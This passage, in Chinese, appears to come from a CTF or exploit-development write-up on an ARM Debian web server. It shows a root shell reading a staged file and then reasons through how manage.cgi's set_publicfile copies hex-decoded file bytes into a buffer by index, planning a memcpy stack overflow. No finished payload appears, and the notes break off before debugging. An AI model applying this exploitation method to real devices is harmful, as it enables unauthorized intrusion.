root@debian-armel:/var/www/cgi-bin# cat /tmp/store/publicfile.txt
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbroot@debian-armel:/var/www/cgi-bin#

成功写入, 回到 manage.cgi , 在 set_publicfile 这里
我们貌似可以直接通过这个 n80 == 80 去往 s_0 上写入内容, 大概看了下整个逻辑

  1. cnt2
    • 目标偏移
    • 范围检查是 0..511
    • 最终写到 s_0[cnt2]
  2. cnt1
    • 源索引
    • 范围检查是 0..255
    • 但真正有意义的通常只有前面那部分有效槽位
    • 最终取值是 v41[cnt1 + 1]
  3. v41 是怎么来的
    • 来自 /tmp/store/publicfile.txt
    • 先把文件内容按 hex 解码成 ptr
    • 再把 ptr 的前 81 个字节按规则搬进 v41[1..81]
      大概是把整段 payload 都写到 publicfile.txt 中, 然后写个循环用 cnt1 和 cnt2 去把 payload 写到 s_0 中, 最后利用前面的 memcpy 打个栈溢出…

调试这里有点烦, 后续补上… 基本上快搞定了